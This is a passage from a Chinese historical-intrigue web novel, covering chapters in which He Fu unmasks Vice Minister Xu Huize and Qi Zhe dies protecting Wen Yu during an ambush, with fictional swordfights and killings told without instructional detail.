歌阳侯下意识地避开贺扶的目光,“我说过,我不知。”
“是吗?”贺扶声调上扬,“可是我已经找到线索了。三日后,我便能将一切都公之于众,倒是后你数罪并罚,可就不止是简简单单的流放了。”
歌阳侯冷声道:“你究竟要做什么?”
贺扶笑道:“方才启蛰不是说过了吗?救你啊。”
歌阳侯垂下眼,似乎是在思索。良久,他才试探着问:“你发现了什么线索?”
贺扶看了启蛰一眼,启蛰点了点头后他才附在歌阳侯耳边轻轻道了一句。
那声音很轻,但歌阳侯却肉眼可见的一颤,就连眸子都震了好几震,不知道听到什么令人诧异的消息。
“你……”
话没说完,贺扶站起身对启蛰道:“堵住他的嘴。”
启蛰道了一声是后将歌阳侯的嘴牢牢堵上,让他只能发出呜呜的声音。
歌阳侯目光盯着贺扶,似是诘问又似震惊。
贺扶礼貌地向他行了一礼后道:“那便劳烦您多些时日了,到时候我定会向陛下求情。”
离开前,贺扶叮嘱:“启蛰,命人看好这里,可千万不能让他出事。”
“是。”
入夜,绍王府的灯早早便熄灭了。
万籁俱寂,没有半点人声。
玉茗堂内,忽得闪过一抹黑影,那影子轻飘飘从檐上落下,小心翼翼地在堂内书架上寻找
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着什么。
可那里除过书籍史册便是些名砚之类,没有他要找的东西。
于是,那黑影转向另一处——贺扶的书案。
他在书案之上翻了又翻,最终在一本极其厚重的佛经下找到了那封印了花纹的信。可那信还未抽出一半,那黑影便一顿。
不对!
他反应过来这是一招引蛇出洞,但一个转身却对上一张带着笑的脸。
“许久不见啊,许侍郎。”贺扶笑着歪头。
许会泽一惊,袖中一抖便落下一把匕首,下一瞬便想贺扶袭来,贺扶侧身躲过,握住他的胳膊借力轻松地从桌面翻过。
两人便隔着一张桌子僵持起来。
“你在耍我?”许会泽道。
贺扶反问:“否则你怎么会上当呢?”
许会泽暗骂一声,更为猛烈地向贺扶攻去,贺扶从桌上拿起一只玉质的狼毫挡住。
几招过后,许会泽已经被逼至墙角,他诧异道:“你会武?”
“何人告诉你我不会的?”贺扶迅雷不及掩耳之势间夺过他手中的匕首。
这时门外也响起了启蛰的声音,“抓到人了!”
贺扶道一声得罪后将许会泽一脚从窗边踢了出去,他重重摔在地上喉中一热后吐出一口血来。
启蛰正拎着一个男人的后脖颈,让他跪在贺扶面前。那人正是白日里站在许会泽身边的小厮。
“你以为,就是这样了吗?”许会泽挣扎着爬起来,“贺扶,你真的要和他作对吗?”
贺扶眸子暗了暗,“我要一个原因,我父母要一个真相。”
“况且,父母之仇,不得不报。”
许会泽闭了闭眼,哈哈笑了几声,“既如此,我认栽,但最后我想问一句,安成王身上的药瓶,你是从哪里找来的?又如何放回他身上的?”
他分明,分明已经将那药瓶给销毁了,怎么会突然回到他身上,而且被贺扶一眼便看出来。
“我不是第一次进入天牢了。”贺扶没有直接回答他而是似是而非的一句。
但许会泽明白了,“你不是自诩君子,竟然和那些犯人打交道?”
夜凉如水,贺扶只穿了一件单衣,轻薄又闲散。他负手立在玉茗堂前,轻声道:“他曾经告诉过我,君子,和而不同。”
许会泽沉默了。
启蛰看贺扶一眼,将手里的人绑起来后正要去绑许会泽,但当他靠近许会泽时却见他忽得转过了头。
“当心!”贺扶喊道。
启蛰立刻错身夺过,只见那根自许会泽口中吐出的银针正定在那小厮命门,下一瞬,他便沉沉倒了下去。
“毒针!”启蛰心有余悸,但还未等他反应过来便见许会泽奔向墙檐,轻轻一点便借力跃起,启蛰要追却被贺扶给拦了下来。
“此时再追已经没有意义了。”贺扶道。
启蛰看着许会泽离去的方向,感叹道:“果真是和安成王勾结,人家就连看家本事都给教了。”
说罢,他又看向了倒在一旁的小厮,“那他怎么办?就算是告诉陛下,许会泽一句不知情也就没法子了。”
贺扶道:“安葬了吧。”
启蛰点点头,“哦。不过我还真是没想到首辅大人在刑部的耳目会是许会泽,我还当他真的看不惯首辅大人呢!原来是装的,装得还真像!”
闻言,贺扶轻轻叹了一声,抬眼看向远处婆娑的树影。隔了很久,他才道:“师兄可未曾教过我什么诗文啊……”
101. 执云(五)
临近上元灯节,上京城内也开始热闹了起来。街道旁的摊贩们都已早早摆好了花灯,有的要卖,有的用来装饰。还有些地方正在搭台子,准备在上元节当晚的演出。
嘉亲王府内,也早早挂好了红绸,府中上下皆是一派喜气洋洋。
“温姑娘,锦绣坊将喜服送来了,您要现在试试吗?”丫鬟敲开了门,手里端着喜服。
温余坐在梳妆台前,看着铜镜中有些扭曲的脸,道:“先放着吧。”
“是。”
等丫鬟退出去,温余才站起身去看那件华贵的喜服。无论料子还是绣艺都是极好的,不愧是皇室。
过了这么些天,也不知贺扶他们准备的怎么样了。明日,就是上元节了,是绍绍王府被灭门的日子,也是贺扶的生辰。
在明日让一切都有一个结果,这也算是有始有终了吧……
温余扶着桌子缓缓坐下,她脑子都些沉重,许是这些天没有睡好的缘故。她单手撑着头小憩了一会儿。
脑内混沌见,一声惊呼惊醒了她。
这声音似乎很熟悉,她推开门却只看到方才送喜服过来的丫鬟。
“怎么了?”
丫鬟擦了擦额上的汗,细声细气道:“没什么,只是方才不小心崴了脚。”
“崴脚?”温余向下盯着她的腿,“左脚右脚?怎么崴的?”
那丫鬟的胆子似乎有些小,只问了这几句便声音发抖:“左脚,不过没事的,温姑娘不必忧心。”
温余盯着她看了一会儿后,转身回到屋内。那丫鬟刚刚松了口气却见温余忽得又转了回来。
“温姑娘还有什么吩咐吗?”
温余冷声问:“人呢?”
丫鬟愣了愣,“什么人?”
“宋衫。”温余沉声道。
“安乐郡主?安乐郡主不是被流放了吗?怎么会出现在这儿呢?”丫鬟扯出一个笑来,下一瞬却被大力一拽,单薄的背硬生生撞上了墙,发出一声闷响。
“你当我是傻的吗?”温余将手臂横在她脖颈上,目光锐利,“屋里的熏香,还有你的身份,你当我在章执的宴会上没有看见过你吗?”
那丫鬟面色一白,看起来像是第一次做这样的事情,被戳穿也只能支支吾吾地解释。
“说,人在哪儿?”温余又问一声,她才颤颤巍巍地指向一个地方。
“从侧门出去了。”
温余往那处扫了一眼后一个手刀劈晕了那丫鬟。
从侧门出去后是一条无人的小巷子,嘉亲王府上的食材之类都是从这里送过来的。
在地上的无数道车辙中温余循着最新的一条跟上去。
痕迹的尽头是一片光秃秃的杉树林,车辙被一片杂乱的足印掩盖,温余皱眉环视四周。
月色沉沉,寂静无声,就连鸟鸣都没有。
忽然,温余听到左侧的一颗大树后传来一阵细微的声响。她循声看过去,只见那树根旁露出一小截正在涌动的麻袋,看样子是有一个人在那里。
是宋衫吗?还是什么引她过去的诱饵?
她心中痛恨为何自己出门时没有带件武器什么的,就这么赤条条一个人过来,是之前的教训还不够吗?
但现在也不是斥责自己的时候,她稳定了心神,一边念着兵来将挡水来土掩一边向那树后走去。
“宋姑娘?”温余叫出这个名字的时候,麻袋忽得停了一下,接下来便又是一阵激烈的动作。
“如果是你,你就不要动。”温余道。
果然,那袋子里的人不动了。温余这才蹲下身缓缓解开那麻袋的口子。她沉着脸,死死盯着那麻袋下露出的脸,生怕会出现一张陌生的脸,或是有什么机关。
好在,她将麻袋解开后出现的确实是宋衫。她的嘴被塞住,只能发出一些细微的呜咽。
温余帮她将身上的绳子之类解开,拿下她嘴里塞着的布团。
“我不是送你出去了吗?你怎么又回来了,还被他们抓起来?”温余问道。
宋衫穿得很单薄,再加恐惧,周身都在颤抖着。听温余这么问,她才回过些神来,“我本是按照你的安排悄悄出了城,这些日子一直在赶路,可就在昨晚,我寻了一处客栈休息,还未睡下便感到脑内昏昏沉沉的,之后便失去了意识,在醒来的时候就是在这麻袋里了。”
温余思索片刻后扶着宋衫起来,“我们先走。”
但二人还未走出几步,面前便出现了熟悉的黑衣人。这一次,要比往常的多。
温余将宋衫护在身后,宋衫低声道:“我们要怎么办?”
“我护着你,你走。无论发生什么事情都不要回来。”温余道。
宋衫惊了一瞬,“那你怎么办?”
温余答道:“我答应过你的,只要你帮我我一定会护你周全。我不会食言。”
由黑衣人围起的圈子越来越小,温余却感到有些熟悉,最后一次和圣阳分别好像就是这样的场景,只是上一次是圣阳护着自己,而这一次却是自己护着别人。
可惜,她还是没能和圣阳学到枪法。
“东南。”温余环视一圈后将目光锁定在东南处那个相较旁人更高更瘦的人身上,攻他下盘!
温余拉着宋衫朝东南处猛冲过去,其余黑衣人也发现了两人的目的,都向东南处围去。
刀刃的寒光在月下格外明显,温余拉着宋衫一躲,那刀便砍在了一棵粗壮的树干上,树枝上的积雪被震下,正好将那人的视线遮挡片刻,温余发现这个机会,专门引着他们往树上砍,在雪落之前再闪身躲过。
薄雪迷眼,厚雪也阻拦他们的行动。
但这终究只能阻拦他们片刻。一个被砸,另一个便能缓过神来,吃一堑长一智,他们出刀也愈发稳准起来,好几次都差点砍到温余要害。
他们许是得到指令,不打算留活口,每一刀都是冲着斩下温余的头颅去的。
宋衫跟在温余身后只觉得心惊胆战。
直到最后,温余已经被逼至死地,她擦擦溅在脸上的血,心里忽然生出些无助来,身上是伤,又加上吸入了屋里的熏香手脚此刻已经开始发软,一切好像都在往最坏的地方狂奔。
若是自己死了,贺扶他们便没有人接应了。
“宋姑娘,对不起。”温余轻声道。
宋衫沉默着。
温余又道:“但还是劳烦你一件事,若是你出去了,还请你回嘉亲王府,我院子外的枯树下埋着一把钥匙,劳烦你,将它送到贺扶手上。”
宋衫还是沉默,过了很久,她才轻轻点了点头。
温余向她露出个疲惫笑来。事到如今,也没有必要去问宋衫究竟为何出现嘉亲王府,为何会出现在这里
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,又为何明知那些人的刀不会伤她却还是要死死拽着自己的胳膊。
已经没有意义了,况且她答应过宋衫,要护她周全的。
“宋姑娘,拜托了。”
说罢,温余猛得将宋衫往外一推,果然那些人并不在意宋衫,见她有所动作纷纷提刀上前,一刀砍在她的肩膀上,鲜血瞬间染红了白衣,锥心的痛让温余无法发出声音。
宋衫走出几步后回头看向温余,“温姑娘……”
“走啊!”温余嘶哑着对宋衫喊道。
宋衫先是犹豫着向后退了几步,几个呼吸间,她才转过身头也不回的跑了。
直到跑回嘉亲王府,她才回过神来。看着面前空无一人的院子,她愣了半晌。
“你的任务完成了,你可以走了。”一块通行令牌被抛入她手中,她接过却没有说话。
来人道:“你要的东西都已经准备好了,和送你出城的马车放在一处,你只需要走,永远都不要回来。”
宋衫将手中的令牌攥紧,指尖微微发白。
她颤抖着道:“好。”
……
另一处,温余坚持了许久,终究是坚持不住卸了力气。
她手中握着一把刀,刀的主人已经被同伴误杀,此刻正倒在一旁。
她用刀撑着自己,以免自己彻底摔在地上。
她的面前只有五个人了,相比来时的十几人,已经少了大半了。
说不准只要再坚持一会儿,自己就能脱困了。
想着,温余在心中为自己打气。她将刀柄握紧了些,深吸一口气对上面前也已经伤痕累累的黑衣人,“来吧。”
可是,一切终究不会朝着她预想的地方走。只见四周风起,沙沙间,又几道黑影自树上落下。
温余浑身的血液都凝固了,她只觉得浑身发冷,眼前都开始变得模糊。
她又试图握紧刀柄,可是却怎么都使不上力气。
最后,她只能闭眼,彻底完了……
蓦地,一阵闷闷地马蹄声由远及近,正在向她这边奔来。她本不抱希望,可听到这阵马蹄声却又带着希冀睁开眼,只见一道翠色身影驾马向自己奔来。
温余有些看不清,但还是虚弱道:“贺扶……?”
那翠色身影走近,马蹄踏倒几人,在重重包围的黑衣人中破开了一个口子。
那人长剑一抖,一手握着缰绳一手执剑,轻轻跃下马背,剑光与刀光相撞,顷刻间围在马边的黑衣人便倒了一片。
那人终于靠近了温余,他向温余伸出手来,“喂,先别死,我来救你了!”
温余扶着刀站起身来,伸出一只手握上来人的手掌,稚嫩又带着几分薄茧。
她被甩上马背,他很是谨慎地让温余坐在自己身前,以防有人背后放暗箭。
温余彻底脱力靠在那人怀中,那人却道:“别靠我啊,不许占我便宜!”
温余不知从哪里来的力气,抬手往他手臂上打了一把,“谁要占你便宜?”
启蛰切了一声,妥协道,“好吧好吧,你是伤号。”
可下一刻,他神色便严肃起来,他轻声道:“追上来了。”
那些黑衣人方才许是还没反应过来,此刻竟是已经追上来了。
一道急风从启蛰耳边擦过,他瞳孔皱缩。
——是箭!
102. 执云(六)
“你坐好了。”启蛰正色道。
闻言,温余也抓紧了马鞍,气息虚浮地叮嘱道:“你也小心一点。”
启蛰切了一声,那意思应该是他可不会出错!
马背上颠簸,温余身上的伤口被扯得发疼,她咬牙忍耐着。寒风自耳边呼啸而过,她的手逐渐开始发冷,不知是被冻得还是流了太多的血。
没过多久,她眼前便开始变得模糊,她努力睁大眼睛却怎么都看不清前面的路。
启蛰就算再迟钝此时也发现了温余的不对劲,他一只手攥着缰绳,另一只手将温余扶正,喊道:“喂,清醒!”
温余咬牙回应:“还、还清醒。”
启蛰甩鞭得力道大起来,□□那匹枣红马开始狂奔。
耳边风声更大,温余忽得有些想吐。
她努力压制下胃中的翻江倒海。忽得,她眼前清明了一瞬,只见一点银光在不远处闪烁着,看方向似乎正对着自己。
“当心!”她对启蛰喊道。
启蛰单手抬剑一挡,可另一支箭竟直直射向身下的马,一瞬间人仰马翻。
启蛰紧紧拉着温余,让她靠着自己,可已经没有办法再前进了。
身后的黑衣人也追了上来,不知何时已经增至近二十个,再加上暗处藏着的,怕是这次很难全身而退了。
启蛰握紧手中的剑,秀眉紧紧锁起来,他对温余道:“抓紧我。”
温余意识混沌,但还是知晓带着自己启蛰很难使出全力,说不准还会被自己拖累。于是她道:“你先别管我了,你想办法自己走,去找人过来。”
启蛰眼中闪过几分惊讶,“你疯了?我现在去找人回来见的怕不是你的尸体?”
“可是……”温余心口又一次攥痛,她下意识地握紧了启蛰的衣摆。
启蛰打断了她的话,“可是什么可是?小爷我一只手也能把他们给击退!你就看着吧!”
温余已经没有力气再说话了,只能任由启蛰揽着自己。
黑衣人蜂拥而上,一瞬间飘雪、沙土、枯叶厮混在一起,纷飞四散,就连树木也在发出低沉的吼叫。
温余感到周围的一切都扭曲起来,刀剑相接的声音好像是从很远的地方传入耳中的,伴随着那清脆的响声,温余还能听到启蛰时不时发出的几声呼唤。
她说不出话来,只能在启蛰每次呼唤的时候轻轻地嗯一声。
就这一声,也能让启蛰安心很多。
温余觉得自己好像置身在一条摇晃的小舟上,天空好像还在落雨,时不时有雨滴落在她脸上,但带着腥气。她不喜欢,只能皱眉。
不知过了多久,这条小舟不再摇晃了,她的脚也稳稳踏在了地上。
下一瞬,她整个身体便向前扑过去,脸重重砸在堆着雪的地上。这样的疼痛和冰冷倒是让她清醒了一瞬。
她立刻回头去看启蛰,只见他将长剑插在地上,一只手握着剑柄,一只手拔出嵌在自己肋骨处的箭。
“你,你还好吧?”温余爬过一个倒在地上的黑衣人,靠近了启蛰去看他凌乱鬓发下的脸。
原本束得一丝不苟的马尾不知何时已经散了,长发披下,倒显得他乖顺了不少。
他喉中似乎还泛着血沫,说话都是哑的,“还好,我就说吧,我一只手也能把他们都击退。”
说罢,他努力扯出一抹笑来。
温余撑着从地上爬起,却被他慌乱按下。
可她已经看到了,就在启蛰的背后也插着一支箭,若是没看错,正好插在他的心口处。
“你背上,你……”
启蛰缓缓站起身来,道:“没事,我们快走。”
温余看着他背后的那支箭,喉中似乎哽了起来。她努力吞了吞口水,一股铁锈味冲进鼻腔。她搭上启蛰的肩膀,道:“走,我们快走。”
头顶黑夜沉沉,就连月光也不知何时被乌云遮住。弥漫着血腥气的林子中,两人搭着肩膀蹒跚着往前走,可没走几步,启蛰便向一侧倒了过去,还带倒了温余。
温余拍拍他的脸,“启蛰?启蛰?”
启蛰说着没事,将手撑在地上,以为自己还能硬撑着站起来,可是却发现自己的右手半分力气都没有了,只能撑起一寸,然后再次跌倒。
温余扶着他让他站起来,然后在他面前蹲下,道:“上来,我背你。”
启蛰刚刚站起身就又要往一侧倒去,温余乘机将他背在背上,却听他道:“我一个大男人,还得一个女人背,这要是传出去,我也太没有脸面了。”
温余背上启蛰,此时他就算是想挣扎也没力气了。
“谁说的?要是传出去也得是我温余力大无穷,就算是受伤也能背着一个大男人走几里地!”温余道。
启蛰的呼吸微弱:“切,凭什么传你的好?和我又没关系。”
“我们不是,家人吗?肥水不流外人田。”温余将启蛰往上颠了颠,引起他的几声呻吟,“你别这么大动作。”
温余喘了几口气道:“好。”
空气又寂静了片刻,启蛰忽然道:“你为什么不说话了?”
温余咬咬牙,“你要我说什么?”
“什么都好,现在太安静了。”启蛰的声音很轻,仿佛来一阵风都能被吹走。
“我骂你,你听不听?”温余道。
“你怎么老想着要骂人?”启蛰握着温余肩膀的手轻轻使力,告诉她自己生气了。
“那还能说什么?”
温余停了一会儿,看了看周围的路后才继续往前走。
现在只要回到绍王府就没事了,只要见到贺扶就没事了。
“什么都好,太安静了,我有些……”最后那两个字启蛰说得很轻,温余没有听清楚,问他:“什么?”
启蛰顿了顿,忽然道:“我不想死。”
温余一怔,扯出个笑来,“说什么晦气话呢?死什么死?快呸掉!呸呸呸!”
启蛰停了一会儿,也跟着她呸,可只呸了一声便咳出一口鲜血来。
温余道:“回去记得赔我衣裳,脏死了!”
启蛰没有理会她的话自顾自道:“你知不知道我最大的愿望是什么?”
温余不假思索,“当侠客。”
“对,当侠客。拿一把剑,戴一个斗笠,然后来无影去无踪,救人与水火之中然后不留名。然后江湖中人都惊叹于我的功力,然后给我取一个霸气的名字!”
温余轻轻笑了一声。
启蛰又道:“说不准,我还能遇到一个仙女似的姑娘,温柔体贴,我们可以一起去闯荡江湖,到年纪了就一起隐居,当个老神仙。”
“切,你
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话本看多了吧?”温余道。
启蛰哼了一声,“反正不找你这样的。也不知道大人是怎么看上你的,乡下来的野丫头。”
“你怎么还是这个称呼?再说,扬州不是乡下好吗?”温余无奈道。
启蛰闷闷哼了几声,“如果,我…了,你可一定要帮我照顾大人啊。”
他没有说那个字,温余知道,是他害怕。
“之前说过的,这把剑就归你了,我房里还藏着好几本剑谱。床底下还有几年前贺大人送我的蛇的尸体,还有工造司的剑器我还没有付完钱……”
温余没有打断他,只是静静地听他说。
“虽然觉得你和大人在一起很不服,但是还是有些可惜……我喝不到你们的喜酒了。”
又沉默了片刻,启蛰忽然哽咽着道:“我……我真的,我真的不想死啊!”
温余眼底有了湿意,可是她知道,自己不能哭。至少是在现在,不能哭。
“别瞎想,你不会死的,不会的。”温余轻声安慰着启蛰,也是在安慰自己。
又走了一段路,温余终于看到了远处的灯火。有人!既然有人说不准就能先帮启蛰处理伤口!
她惊喜道:“启蛰,前面有火光!有人,我们有救了!”
启蛰费力抬了抬眼,茫然道:“真的吗?”
温余难掩激动,“真的,再快一点就好了。你坚持一下,只要一会儿,一会儿……”
“快……快一点……”启蛰轻轻拍拍温余的肩膀,但下一瞬,那仿若抚摸的力气却变成了垂下的头。
温余感觉周身都冷了,心跳都停了一瞬,“启蛰?启蛰?”
“启蛰!启蛰你说话啊!你嗯一声,你说句话啊!”
温余不停叫着他,可是却再没有人回应了,一个动作,一句话,一次呼吸,都没有了。
温余着急地想要去看启蛰,却没有留意脚下的一个小坡,脚下一滑,她便带着启蛰一起摔了下去,摔在了雪堆中。
雪冷,温余的却感觉自己更冷,是从内而发的冷。她快速爬到启蛰身边,看着他的脸。方才那重重一摔让本插在他背上的箭穿透他的胸膛,此刻那箭的尖端带着血,她下意识地想去碰,但却在半路停住。
她应该怎么办?她要怎么办?她要去哪儿?
“有人吗?”她趴在启蛰身边,轻轻喊了一声。
“有人吗?有人在吗?”声音逐渐放大,“有没有人啊!救命啊!有没有人救命啊!”
“霁尘君!有没有人啊!救人啊!”
她面容都变得扭曲,脸上的血和泪四布,她不断地喊着,焦急又无助。她将自己此刻能想起的名字都喊了一遍:“霁尘君!贺大人!幸丞相!章执!”
“贺大人……贺扶,你在哪儿啊?救救启蛰啊,你在哪儿啊……”
可这林中除过飞起的鸟雀已经没有人能够回应她了。
忽然,远处的那一点灯光灭了,那家人应该睡了。太晚了。
温余眼里的光也灭了。
林子又一次恢复寂静,温余在地上趴了很久,最后缓缓站起身来,转身却见不远处又闪过一点银光。
她没有躲,她有些累了,而且她知道她躲不过的。
利箭冲着她的心□□来,在接触到她的那一刻发出了铮的一声。
103. 执云(七)
夜半,上京城又下了一场雪。首辅府外的一条小巷,如此深夜除过一位拉着车的老伯外本是没有人经过的,更何况今日还下了雪。
可是,却在不远处传来一阵急促的脚步声,在还没有完全被雪覆盖的地上格外明显。
老伯回头,却只看到一片绯色衣角消失在巷口。
大概是什么人急着回家吧!老伯转过头继续拉着车往回走,但还没走几步便对上了一位穿着白衣的女子。她乌黑的发顶还带着几片雪花,面若美玉,神色焦急。
半夜出现的美人总是让人想起话本里的妖,可是他却不觉得这女子是妖,反倒像是从月宫里飘下来的活神仙。
那神仙问:“你可有看到一位绯衣姑娘?”
老伯愣了愣,给她指了方向。于是那神仙顺着那方向飞奔而去,裙摆翻飞,似乎下一瞬就能乘风飞去。
“花信?花信?!”宋拿云循着花信离开的方向寻她,多亏了地上薄薄的雪层才能让她一路追到一座寻常的宅邸前。
她正要推门进去,下一瞬却有人跌跌撞撞推开门跑了出来,正是花信。
见到宋拿云,她好似见到了救世主一般,躲在她身后抓着她的衣袖,一脸惊恐地看着宅子内的那片漆黑,仿佛里面有什么妖鬼一般。
宋拿云轻轻拍了拍她的手背,看向屋内。
很轻的脚步声响起,像是夜中的滴漏一般,逐渐接近,逐渐变重。最后,一道黑色的身影出现在两人面前,他负手站在院中,惨败的月光照在他脸上仿佛镀了一层银边,好似他生来就是这般高贵。
宋拿云拧眉道:“花信只是帮我做事,你若是有气有怨,冲我来就好。”
章执今日少见的带上了一个翠玉扳指,拇指轻轻转动,只是这一个小小的动作就让躲在宋拿云背后的花信胆寒。
“我不会让有二心的人留在身边。”章执的声音肃然,仿佛三人不是在一座废弃的宅子而是在高堂之上。他看着宋拿云,“除过你。”
宋拿云感受到了花信的颤抖,将她的手握在手掌中。她的手冷得可怕。
“放过她,她不会再出现在你面前了。”宋拿云道。
章执没有说话,沉着脸往前走了几步,宋拿云便带着花信后退几步。
“你身后有台阶,当心。”章执出声提醒。
宋拿云道:“那你不要过来。”
闻言,章执果然停下了,宋拿云又道:“花信是为了报恩才帮我做事的,如今恩情已了,我自然要放她自由。她一个弱女子不会碍着你的。”
“恩情了了?”章执轻声道,“那就好。”
下一瞬,宋拿云耳边响起一阵凌厉的风声,只见一道黑影从暗处掠出,她正要护住花信却被大力一推,再定睛只看到了章执的侧脸。
她听到了花信的惊呼正要转头去看却感到眼前一黑。温热的手掌遮住了她的大半张脸,她伸手想将章执的手拿开但终究是抵不过他的力气。
之后便是刀刃没入人体的声音,是她听过无数次的声音。她愣住了,直到那声闷响后才回过神来。
她张了张嘴,声音有些发颤,“章执,你究竟要怎么样?”
章执反握住宋拿云放在自己手背上的手,分明是这般温热为何对他却总是那般的冰冷?
“你不必知道。”章执牵住宋拿云的手,带着已经有些僵硬的她走过倒在地上的花信迈过门槛。
宋拿云回看花信,她绯色的衣衫散开在地上像是一朵盛开的花,她的脖子几乎被划开了一半,章执手下的人从来都是快准狠,对谁都不会手软半分。
只这一瞬,花信便没了气息,就连脸都变得灰白。
宋拿云挣脱开章执的手,章执以为她要去看花信也没有过多在意,反正只要他在这里宋拿云就绝对不会做出他意料之外的事情。
他这样想着,下一刻宋拿云却打了他一巴掌,这一张用了十成的力气,打得他微微侧过了脸。感受着左脸上传来的热意,他也没有觉得惊讶,只是摆正了头,淡淡地问:“够吗?”
“当然不够。”
话落,宋拿云抽出他向来藏在腰间的匕首,刀刃的光在章执脸上一闪,他伸手握住宋拿云的手腕,冷声道:“若是想用自杀的方式来……呃……”
忽然,他感到自己心口处一痛,宋拿云竟是将刀刺向了他!
“你总是喜欢把自己的想法强加在我身上。”宋拿云又将匕首往里捅了三分,如愿在章执脸上看到了一丝变化。
刀刃在章执身体里转了一圈儿,他明白面前的人是刻意要惩罚自己。于是他也不动,也不躲,只是摆摆手让暗处的影卫不要动手。
直到他的嘴唇开始发白,血液顺着刀柄流到宋拿云手上他才有了动作。
他不知从何处拿出一条手帕细细地帮宋拿云擦着手,可那血迹太过顽固,竟是沾上了就不能再轻易擦掉。他皱起了眉,“放手吧,先去洗手。”
宋拿云感受着手上的热意,抬眼看向章执,眼中满是不解,“章执,你之前不是这样的。”
章执缓慢地眨了眨眼,“嗯。”
两个沉默的人,就连争吵也是沉默的。
良久,两人听到不远处传来一声哨音,这哨音的意思是嘉亲王府来人了。
“贺扶去嘉亲王府了,走吧。”
说罢,他握着宋拿云的手将心口的刀拔出来。刀被他丢在地上,宋拿云道:“你走吧,我送她一程。”
章执朝暗处看了一眼后转身离开。
……
嘉亲王府内,婚礼的装饰已经完备,就准备着明日一早的婚宴。尚卿站在堂中抬头看着摆在桌上的牌位。他仍然穿着一身常服没有换喜服,一位家仆站在他身边向他汇报着婚宴的事宜,而另一侧坐着的是特地前来的幸安。
一日为师终身为父,他也在这喜宴上花了不少功夫。
说到最后,那家仆还叮嘱道:“殿下,明日就是婚宴了,您得笑一笑啊。”
尚卿闻言轻轻翘了翘嘴角,那家仆立刻道:“就是这样,得笑,好事发生得笑!”他又感慨道,“若是老爷和大少爷能看到怕是也很开心呢。”
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“他会开心?”尚卿轻声问。
那家仆不知他问的是老爷还是少爷,但还是接道:“当然!”他又看向幸安,询问道:“您说是吧,幸丞相?”
幸安放下手中的茶盏,微笑道:“那是自然,尚兄可是很疼渡凌的。”
尚卿扫一眼幸安后拍了拍那家仆的肩膀,正要交代些事情却在此时迎来了一位不速之客。
他将那家仆推至一边,对来人道:“贺大人,您来这么早,是特地来祝福我的吗?”
贺扶翩然行至堂中,目光先是在坐在一旁的幸安流连片刻后才对尚卿道:“同为幸丞相弟子,身为师兄我定是要前来道贺的。”
“你确定是来道贺,不是来抢亲的?”尚卿眯了眯眼,“自然不是,贺礼我已交给门口的小仆。”
尚卿笑了一声,“好,那就请入座吧。”
等到破晓前,章执才来到嘉亲王府。此时,堂内已经坐了不少人了。
“抱歉,来迟。”章执少见的没有穿他那肃穆的黑衣而是以灰蓝代替。
尚卿笑道:“无事,请首辅大人落座吧。”
章执微微颔首后就要落座,堂内却在他落座前一瞬响起一阵惊呼。
他侧目去看,一道灰白身影被人踹进门来,摔在地上后吐出了一口血。
大婚之日见血是为不详,众人皆看向了今日的主角,尚卿。
但他却抱臂看着,也不去换喜服也不说话,只是唇角带着笑意。
众人隐隐觉得今日的喜宴怕是不同寻常,但不知为何,他们竟生出几分期待来。
“这是?”幸安诧异道。
下一位迈入的却是让众人都发出了一声震惊的吸气声,有人看着来人,愣愣道:“这不是,歌阳侯吗?”
“是啊,他不是早就被流放了吗?”
……
议论还未结束,歌阳侯退至一边。许会泽缓缓从地上爬起,擦擦唇角的血,看向贺扶:“卑鄙。”
闻言,贺扶才缓缓站起身来,“许侍郎许久不见,怎的这般落魄?”
许会泽恶狠狠地道:“如何这样,你会不知?你这卑鄙小人,竟然敢私放朝廷要犯!你就不怕被陛下发现,刑部大牢你还没有待够吗?”
这个要犯大家都心知肚明,就是歌阳侯了。
贺扶笑道:“许大人倒是说说贺某如何就成了你口中的卑鄙小人了?”
“自然是……”许会泽气势汹汹还未将话讲完,便听一旁的幸安开口道:“今日可是大喜的日子,若是有什么恩怨,我们还是换个时间换个地方说开吧。今日,着实不合适。”
幸安看看许会泽,他吞下嘴里的血沫,安静了些。但在看向贺扶的时候却见他迈步走到众人面前,拱手道:“今日贺某怕是要冒犯渡凌一次了。”
尚卿看着,切了一声。
贺扶没有等他回答,径自说道:“其实今日贺某来此是为了两件事。”
“一是安成王前些日子在刑部大牢内自裁一事,二则是十五年前的今日,绍王府灭门一事。”
104. 剑兰(一)
话音落下,在场众人眼中皆是一震,紧接着便是一阵又一阵的私语声。
贺扶开口叫停:“还请诸位听贺某一言。”
等场面安静下来,贺扶才继续道:“贺某先来说一说安成王自裁一事吧。诸位可知安成王是如何死的?服毒,一种只有且末才有的毒,安成王曾出使且末,有且末的毒并不稀奇,这一点也能说明他确实是一心求死。可是问题在于,许侍郎,作为关押重犯的刑部要员,为何没有在搜身的时候搜出那药瓶?竟是让他这般随意的将毒药带入了大牢呢?”
对上贺扶的目光,许会泽冷笑一声道:“我怎么知道呢?谁知这贺大人没来之前什么事情都没有,怎么您一来那安成王就死了呢?我还没怀疑是你带去的药,杀了安成王。毕竟,之前在你的府上不也搜出了和且末联系的密信吗?”
“是啊。”贺扶肯定道,“怎么贺某没过去的时候没有事,我一过去安成王就死了呢?是有什么知情的人送去了密信吗?嗯?许侍郎?”
密信两个字咬得极重,许会泽不由想起那夜的事情,但还是继续道:“贺大人这话说得无理,我为何要让安成王死呢?”
“你当然要让他死,他也必须得死。自然不是为了你,而是为了你背后的人。若是顺着安成王查下去,说不准会查到他背后的人,也就是你们效忠的主人,于是安成王一定会死,而且一定是死在他自己的手上,那样线索才会断,才可以被认为是畏罪自杀。至于为何是在我来时死……”
贺扶笑着拿出一份信,正是那封带着剑兰花纹的信,他对着许会泽道,“不知许侍郎看到这封信可觉得熟悉?”
许会泽眼底一震,贺扶继续道:“前些日子许侍郎冒着被发现的风险都要去偷回,甚至损失了一员大将,今日贺某便在各位大人面前念一念,这究竟是什么东西。”
贺扶打开信封作势要念,许会泽立刻冲上前将那信夺过就要往嘴里塞,可是在看见贺扶没有丝毫慌乱的脸时慢了下来,他打开信封,里面却是一片空白。
“许侍郎这般着急做什么?那里面什么都没有。”贺扶慢条斯理地理了理方才被许会泽的动作弄乱的衣摆,“所以,许侍郎你和安成王所效忠的都是同一个人。得了那人的旨意,安成王杀害亲女嫁祸于我,阻止贺某继续查剑兰花纹的案子,却没想到最后阴谋败露,于是只能顺势将安成王关入大牢,寻个合适的时机自裁,然后刑部就可以说他是背后主谋,畏罪自杀。一切就会结束了。”
贺扶顿了顿,“可是偏偏我提前你们的计划几日去到了刑部,还拿出了这所为的证据。无奈之下,安成王只能提前自裁。可是这所谓的线索却是个空话,可惜你们被骗了。”
